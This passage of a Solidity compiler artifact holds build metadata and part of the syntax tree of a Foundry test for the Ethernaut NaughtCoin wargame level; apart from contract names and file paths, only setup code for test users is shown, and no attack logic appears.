level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/NaughtCoin.t.sol":"TestNaughtCoin"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/NaughtCoinAttack.sol":{"keccak256":"0xc7c50ac61758a1cc99a1970041c3a2ccea431922d1cff9a531b1f30164d9e858","urls":["bzz-raw://91df97d125661f7d357e1cf072cc3da06a66eed883a8b665592cb12bd6af03b2","dweb:/ipfs/QmSX6A4hbNoiQDQ7jv7cWkFSMW9auMhXPAbu2GyEUFfdQo"],"license":"MIT"},"src/levels/NaughtCoin.sol":{"keccak256":"0xcb5badafdda7964f7ecff734d7ea651955edd8ac972af60da00a333d93b90ee6","urls":["bzz-raw://c28431e7bf65eb7fd2c5f86912e2b1a8f5abe81ed9b89feb2d4c7d0f3c1c4862","dweb:/ipfs/QmexLSfBVULBNSsMMNkZjpvFWj24ESns2L8Jcm7e6d1reF"],"license":"MIT"},"src/levels/NaughtCoinFactory.sol":{"keccak256":"0x7146a3ec6a6e204caf33b721e814b3e1a3691365931e7753feda417709854ed8","urls":["bzz-raw://16ccc02087f857f8dd2ff7d51adb718d52981ed8fcb20ae04e5bae211b46dadb","dweb:/ipfs/QmYm2NTpzwPVoxksq8n33nVU49jfVCbicB5MfinMPqr36s"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/NaughtCoin.t.sol":{"keccak256":"0xffe9823837025cb74adc50920bf3f8b14674f16b61b98f22037400d348a8f537","urls":["bzz-raw://825fc4e48e3bd5115928b120cbff72bd5f6b32fd7579bda362989285f25b8734","dweb:/ipfs/QmaSCT9e1kQgfnNXRxr1VUZoGG3tFkMXPazP8bg9FYxWhq"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/NaughtCoin.t.sol","id":63000,"exportedSymbols":{"Ethernaut":[49101],"Level":[55508],"NaughtCoin":[53912],"NaughtCoinAttack":[49658],"NaughtCoinFactory":[53962],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestNaughtCoin":[62999],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2084:140","nodes":[{"id":62796,"nodeType":"PragmaDirective","src":"32:23:140","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":62797,"nodeType":"ImportDirective","src":"57:28:140","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":63000,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":62799,"nodeType":"ImportDirective","src":"86:43:140","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":63000,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":62798,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:140","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62801,"nodeType":"ImportDirective","src":"131:53:140","nodes":[],"absolutePath":"src/levels/NaughtCoin.sol","file":"src/levels/NaughtCoin.sol","nameLocation":"-1:-1:-1","scope":63000,"sourceUnit":53913,"symbolAliases":[{"foreign":{"id":62800,"name":"NaughtCoin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53912,"src":"139:10:140","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62803,"nodeType":"ImportDirective","src":"185:67:140","nodes":[],"absolutePath":"src/levels/NaughtCoinFactory.sol","file":"src/levels/NaughtCoinFactory.sol","nameLocation":"-1:-1:-1","scope":63000,"sourceUnit":53963,"symbolAliases":[{"foreign":{"id":62802,"name":"NaughtCoinFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53962,"src":"193:17:140","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62805,"nodeType":"ImportDirective","src":"253:66:140","nodes":[],"absolutePath":"src/attacks/NaughtCoinAttack.sol","file":"src/attacks/NaughtCoinAttack.sol","nameLocation":"-1:-1:-1","scope":63000,"sourceUnit":49659,"symbolAliases":[{"foreign":{"id":62804,"name":"NaughtCoinAttack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49658,"src":"261:16:140","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62807,"nodeType":"ImportDirective","src":"320:48:140","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":63000,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":62806,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"328:5:140","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62809,"nodeType":"ImportDirective","src":"369:44:140","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":63000,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":62808,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"377:9:140","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62999,"nodeType":"ContractDefinition","src":"415:1700:140","nodes":[{"id":62816,"nodeType":"VariableDeclaration","src":"460:19:140","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"470:9:140","scope":62999,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":62815,"nodeType":"UserDefinedTypeName","pathNode":{"id":62814,"name":"Ethernaut","nameLocations":["460:9:140"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"460:9:140"},"referencedDeclaration":49101,"src":"460:9:140","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":62819,"nodeType":"VariableDeclaration","src":"485:19:140","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"496:8:140","scope":62999,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"},"typeName":{"id":62818,"nodeType":"UserDefinedTypeName","pathNode":{"id":62817,"name":"NaughtCoin","nameLocations":["485:10:140"],"nodeType":"IdentifierPath","referencedDeclaration":53912,"src":"485:10:140"},"referencedDeclaration":53912,"src":"485:10:140","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}},"visibility":"internal"},{"id":62821,"nodeType":"VariableDeclaration","src":"511:21:140","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"527:5:140","scope":62999,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":62820,"name":"address","nodeType":"ElementaryTypeName","src":"511:15:140","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":62823,"nodeType":"VariableDeclaration","src":"538:22:140","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"554:6:140","scope":62999,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":62822,"name":"address","nodeType":"ElementaryTypeName","src":"538:15:140","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":62925,"nodeType":"FunctionDefinition","src":"747:598:140","nodes":[],"body":{"id":62924,"nodeType":"Block","src":"771:574:140","nodes":[],"statements":[{"assignments":[62828],"declarations":[{"constant":false,"id":62828,"mutability":"mutable","name":"users","nameLocation":"806:5:140","nodeType":"VariableDeclaration","scope":62924,"src":"781:30:140","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":62826,"name":"address","nodeType":"ElementaryTypeName","src":"781:15:140","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62827,"nodeType":"ArrayTypeName","src":"781:17:140","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":62832,"initialValue":{"arguments":[{"hexValue":"32","id":62830,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"826:1:140","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":62829,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"814:11:140","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":62831,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"814:14:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"781:47:140"},{"expression":{"id":62837,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62833,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62821,"src":"839:5:140","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":62834,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62828,"src":"847:5:140","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":62836,"indexExpression":{"hexValue":"30","id":62835,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"853:1:140","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"847:8:140","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"839:16:140","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62838,"nodeType":"ExpressionStatement","src":"839:16:140"},{"expression":{"arguments":[{"id":62842,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62821,"src":"874:5:140","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":62843,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"881:7:140","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":62839,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"865:2:140","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract 